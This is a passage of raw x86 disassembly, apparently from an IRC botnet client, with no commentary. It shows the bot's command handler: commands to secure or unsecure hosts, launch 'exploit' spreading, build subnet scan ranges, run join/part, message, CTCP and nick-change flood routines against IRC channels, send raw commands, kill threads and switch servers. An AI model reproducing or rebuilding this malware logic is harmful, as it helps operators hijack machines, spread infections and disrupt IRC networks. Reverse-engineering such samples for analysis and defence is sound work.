jmp loc_402077
; ---------------------------------------------------------------------------
loc_40471F: ; CODE XREF: sub_401ACD+1019j
; sub_401ACD+102Ej
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40473F
push esi
call sub_41B779
test ax, ax
pop ecx
jz short loc_40473F
push esi
call sub_41B779
pop ecx
jmp short loc_404745
; ---------------------------------------------------------------------------
loc_40473F: ; CODE XREF: sub_401ACD+2C5Bj
; sub_401ACD+2C67j
mov ax, word_429084
loc_404745: ; CODE XREF: sub_401ACD+2C70j
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41B980
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BF50
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409A73
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B0F7
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset dword_40E504
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404814
loc_4047FE: ; CODE XREF: sub_401ACD+2D45j
cmp [ebp+var_968], ebx
jnz loc_401E94
push 32h
nop
call near ptr 2680000h
jmp short loc_4047FE
; ---------------------------------------------------------------------------
loc_404814: ; CODE XREF: sub_401ACD+2D2Fj
call near ptr 2680ABEh
nop
push eax
push offset unk_42BF10
jmp loc_402077
; ---------------------------------------------------------------------------
loc_404825: ; CODE XREF: sub_401ACD+FC5j
; sub_401ACD+FDAj ...
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40484D
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
mov [ebp+var_A10], ebx
test eax, eax
pop ecx
jnz short loc_404857
loc_40484D: ; CODE XREF: sub_401ACD+2D67j
mov [ebp+var_A10], 1
loc_404857: ; CODE XREF: sub_401ACD+2D7Ej
push [ebp+var_88]
lea eax, [ebp+var_A94]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_A10], ebx
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
mov [ebp+var_A08], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40489E
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40489E: ; CODE XREF: sub_401ACD+2DCAj
push eax
push offset dword_42BEDC
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_A14], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_419E1A
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_A14]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404912
loc_4048FC: ; CODE XREF: sub_401ACD+2E43j
cmp [ebp+var_A04], ebx
jnz loc_4083BD
push 32h
nop
call near ptr 2680000h
jmp short loc_4048FC
; ---------------------------------------------------------------------------
loc_404912: ; CODE XREF: sub_401ACD+2E2Dj
nop
call near ptr 2680ABEh
push eax
push offset dword_42BEA0
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_404923: ; CODE XREF: sub_401ACD+F9Bj
; sub_401ACD+FB0j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A6AF
loc_404934: ; CODE XREF: sub_401ACD+2AB9j
; sub_401ACD+2ACFj ...
add esp, 0Ch
jmp loc_409855
; ---------------------------------------------------------------------------
loc_40493C: ; CODE XREF: sub_401ACD+F71j
; sub_401ACD+F86j
push offset unk_42BDF0
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_404946: ; CODE XREF: sub_401ACD+F47j
; sub_401ACD+F5Cj
push offset aAbosel7Vs ; "abosel7 vs"
push offset dword_42BDE0
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_404955: ; CODE XREF: sub_401ACD+F1Dj
; sub_401ACD+F32j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4049AF
push esi
call sub_41B779
cmp eax, ebx
pop ecx
jl short loc_4049A7
cmp eax, 3
jge short loc_4049A7
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40499F
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42D0B4
push eax
call sub_41B886
add esp, 0Ch
mov [esi], bl
jmp loc_40828C
; ---------------------------------------------------------------------------
loc_40499F: ; CODE XREF: sub_401ACD+2EB1j
push eax
push offset unk_42BDB4
jmp short loc_4049EC
; ---------------------------------------------------------------------------
loc_4049A7: ; CODE XREF: sub_401ACD+2E9Cj
; sub_401ACD+2EA1j
push eax
push offset unk_42BD88
jmp short loc_4049EC
; ---------------------------------------------------------------------------
loc_4049AF: ; CODE XREF: sub_401ACD+2E91j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4049B4: ; CODE XREF: sub_401ACD+2F03j
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4049D7
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4049B4
jmp loc_40828C
; ---------------------------------------------------------------------------
loc_4049D7: ; CODE XREF: sub_401ACD+2EF7j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42D0B4
loc_4049EC: ; CODE XREF: sub_401ACD+2153j
; sub_401ACD+2ED8j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
jmp loc_408289
; ---------------------------------------------------------------------------
loc_4049FD: ; CODE XREF: sub_401ACD+EF3j
; sub_401ACD+F08j
push [ebp+var_8C]
push offset dword_42D028
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4034A6
call sub_40B2C0
push ebx
nop
call near ptr 77E75CB5h
loc_404A23: ; CODE XREF: sub_401ACD+1A12j
push offset aGet ; "get"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404AB1
cmp dword_4CEE08, ebx
jz short loc_404A4B
push offset dword_4CE7E8
loc_404A41: ; CODE XREF: sub_401ACD+2FE2j
push offset unk_42BD4C
jmp loc_404AE1
; ---------------------------------------------------------------------------
loc_404A4B: ; CODE XREF: sub_401ACD+2F6Dj
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
call near ptr 71AB157Eh
nop
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E30]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_E30]
push eax
jmp short loc_404A41
; ---------------------------------------------------------------------------
loc_404AB1: ; CODE XREF: sub_401ACD+2F65j
push esi
call dword_4CB694
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_404AC5
push offset unk_42BD0C
jmp short loc_404AE1
; ---------------------------------------------------------------------------
loc_404AC5: ; CODE XREF: sub_401ACD+2FEFj
push offset dword_4CE7E8
call sub_41BEB0
pop ecx
mov dword_4CEE08, 1
pop ecx
push esi
push offset unk_42BCE0
loc_404AE1: ; CODE XREF: sub_401ACD+2F79j
; sub_401ACD+2FF6j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_4034FE
; ---------------------------------------------------------------------------
loc_404AF5: ; CODE XREF: sub_401ACD+19FAj
push edi
push offset aExploit ; "exploit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404BF8
mov eax, [ebp+var_4]
mov esi, offset aF ; "#f"
mov [ebp+var_13E4], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F4], eax
mov edi, 80h
push esi
lea eax, [ebp+var_1474]
push edi
push eax
mov [ebp+var_13EC], 1
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_14F4]
push esi
push edi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push [ebp+arg_10]
push 10h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BCA8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B0F7
add esp, 18h
mov [ebp+var_13E8], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1504]
push ebx
push eax
push offset word_40B8A2
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_13E8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404BE7
loc_404BD1: ; CODE XREF: sub_401ACD+3118j
cmp [ebp+var_13DC], ebx
jnz loc_40828C
push 32h
nop
call near ptr 2680000h
jmp short loc_404BD1
; ---------------------------------------------------------------------------
loc_404BE7: ; CODE XREF: sub_401ACD+3102j
nop
call near ptr 2680ABEh
push eax
push offset unk_42BC68
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_404BF8: ; CODE XREF: sub_401ACD+3037j
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C1
push edi
push offset aRin ; "rin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C1
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409779
push edi
push offset aRinms ; "rinms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409779
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41C070
mov edi, dword_427078
pop ecx
test eax, eax
pop ecx
jnz loc_4057DF
nop
call near ptr 2690AA5h
push eax
call sub_41B8D8
push [ebp+arg_10]
push offset aLoad ; "load"
call sub_41C070
add esp, 0Ch
test eax, eax
jnz short loc_404CFE
cmp [ebp+esi+var_80], ebx
jz short loc_404CFE
push [ebp+esi+var_80]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417A60
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42BC00
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CFE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_404CFE: ; CODE XREF: sub_401ACD+31BAj
; sub_401ACD+31C0j ...
push [ebp+arg_10]
push offset dword_42BBFC
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404D6A
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D6A
push offset asc_42D124 ; " "
push offset dword_42BBF8
push eax
call sub_417EEF
push eax
lea eax, [ebp+var_50F4]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_50F4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BBE8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_404D6A: ; CODE XREF: sub_401ACD+3242j
; sub_401ACD+324Dj
push [ebp+arg_10]
push offset dword_42BBE4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404DD6
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DD6
push offset asc_42D124 ; " "
push offset dword_42BBF8
push eax
call sub_417EEF
push eax
lea eax, [ebp+var_4BF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4BF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BBD0
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_404DD6: ; CODE XREF: sub_401ACD+32AEj
; sub_401ACD+32B9j
push [ebp+arg_10]
push offset aNt ; "nt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404E42
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E42
push offset asc_42D124 ; " "
push offset dword_42BBF8
push eax
call sub_417EEF
push eax
lea eax, [ebp+var_46EC]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_46EC]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_404E42: ; CODE XREF: sub_401ACD+331Aj
; sub_401ACD+3325j
push [ebp+arg_10]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EAE
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404EAE
push offset asc_42D124 ; " "
push offset dword_42BBF8
push eax
call sub_417EEF
push eax
lea eax, [ebp+var_4DF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4DF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_404EAE: ; CODE XREF: sub_401ACD+3386j
; sub_401ACD+3391j
push [ebp+arg_10]
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EED
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404EED
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_404EED: ; CODE XREF: sub_401ACD+33F2j
; sub_401ACD+33FDj
push [ebp+arg_10]
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F2C
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F2C
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_404F2C: ; CODE XREF: sub_401ACD+3431j
; sub_401ACD+343Cj
push [ebp+arg_10]
push offset aPartflood ; "partflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F70
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F70
push offset dword_427638
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_404F70: ; CODE XREF: sub_401ACD+3470j
; sub_401ACD+347Bj
push [ebp+arg_10]
push offset aPnick ; "pnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404FE9
cmp [ebp+esi+var_88], ebx
jz short loc_404FE9
call near ptr 2690AA5h
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B4]
push edx
push [ebp+esi+var_88]
push offset dword_42BB60
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_17B4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB58
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_404FE9: ; CODE XREF: sub_401ACD+34B4j
; sub_401ACD+34BDj
push [ebp+arg_10]
push offset dword_42BB4C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405136
cmp [ebp+esi+var_88], ebx
jz loc_405136
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427638
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset dword_427638
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi
push offset dword_427638
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_405136: ; CODE XREF: sub_401ACD+352Dj
; sub_401ACD+353Aj
push [ebp+arg_10]
push offset dword_42BB48
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4051D0
cmp [ebp+esi+var_88], ebx
jz short loc_4051D0
nop
call near ptr 2690AA5h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42BB20
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 24h
loc_4051D0: ; CODE XREF: sub_401ACD+367Aj
; sub_401ACD+3687j
push [ebp+arg_10]
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4052D2
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_4052D2
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
lea eax, [ebp+var_4BC]
push eax
call sub_417ADE
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB58
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADE
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB58
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADE
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB58
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_4052D2: ; CODE XREF: sub_401ACD+3714j
; sub_401ACD+3723j
push [ebp+arg_10]
push offset aChgnick ; "chgnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405319
lea eax, [ebp+var_1808]
push eax
call sub_417ADE
pop ecx
lea eax, [ebp+var_1808]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB58
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_405319: ; CODE XREF: sub_401ACD+3816j
push [ebp+arg_10]
push offset aMsg ; "msg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405408
cmp [ebp+esi+var_88], ebx
jz loc_405408
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_42763C
push [ebp+esi+var_88]
push offset dword_42BBE8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BBE8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BBE8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_405408: ; CODE XREF: sub_401ACD+385Dj
; sub_401ACD+386Aj
push [ebp+arg_10]
push offset aNotice_0 ; "notice"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4054F7
cmp [ebp+esi+var_88], ebx
jz loc_4054F7
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_42763C
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_4054F7: ; CODE XREF: sub_401ACD+394Cj
; sub_401ACD+3959j
push [ebp+arg_10]
push offset aCtcp ; "ctcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40560E
cmp [ebp+esi+var_88], ebx
jz loc_40560E
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BAD8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42BAC0
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42BAA8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42BAA8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
loc_40560E: ; CODE XREF: sub_401ACD+3A3Bj
; sub_401ACD+3A48j
push [ebp+arg_10]
push offset aMix ; "mix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405734
cmp [ebp+esi+var_88], ebx
jz loc_405734
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42BAD8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset dword_42763C
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_405734: ; CODE XREF: sub_401ACD+3B52j
; sub_401ACD+3B5Fj
push [ebp+arg_10]
push offset aRegister ; "register"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40577A
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_40577A
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417789
add esp, 14h
loc_40577A: ; CODE XREF: sub_401ACD+3C78j
; sub_401ACD+3C83j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4062C4
mov edi, offset dword_4D46EC
loc_405796: ; CODE XREF: sub_401ACD+3CE8j
cmp dword ptr [edi-4], 1
jnz short loc_4057A9
mov eax, [edi]
cmp eax, ebx
jbe short loc_4057A9
push eax
call dword_4CB6EC
loc_4057A9: ; CODE XREF: sub_401ACD+3CCDj
; sub_401ACD+3CD3j
add edi, 210h
cmp edi, offset dword_4DAE0C
jl short loc_405796
cmp [ebp+var_8], ebx
jnz loc_4062C4
push ebx
push [ebp+var_4]
push offset unk_42BA48
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
jmp loc_4062C4
; ---------------------------------------------------------------------------
loc_4057DF: ; CODE XREF: sub_401ACD+3196j
mov edi, [ebp+arg_8]
push edi
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409759
push edi
push offset aN ; "n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409759
push edi
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409732
push edi
push offset aJ ; "j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409732
push edi
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409712
push edi
push offset aPt ; "pt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409712
push edi
push offset aRaw ; "raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D6
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D6
push edi
push offset aKillthread ; "killthread"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D6
push edi
push offset aK ; "k"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D6
push edi
push offset aC_quit ; "c_quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409528
push edi
push offset aC_q ; "c_q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409528
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D6
push edi
push offset aC_rn ; "c_rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D6
push edi
push offset aPrefix ; "prefix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BD
push edi
push offset aPr ; "pr"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BD
push edi
push offset aOpen ; "open"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948F
push edi
push offset aO ; "o"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948F
push edi
push offset aServer ; "server"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409472
push edi
push offset aSe ; "se"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409472
push edi
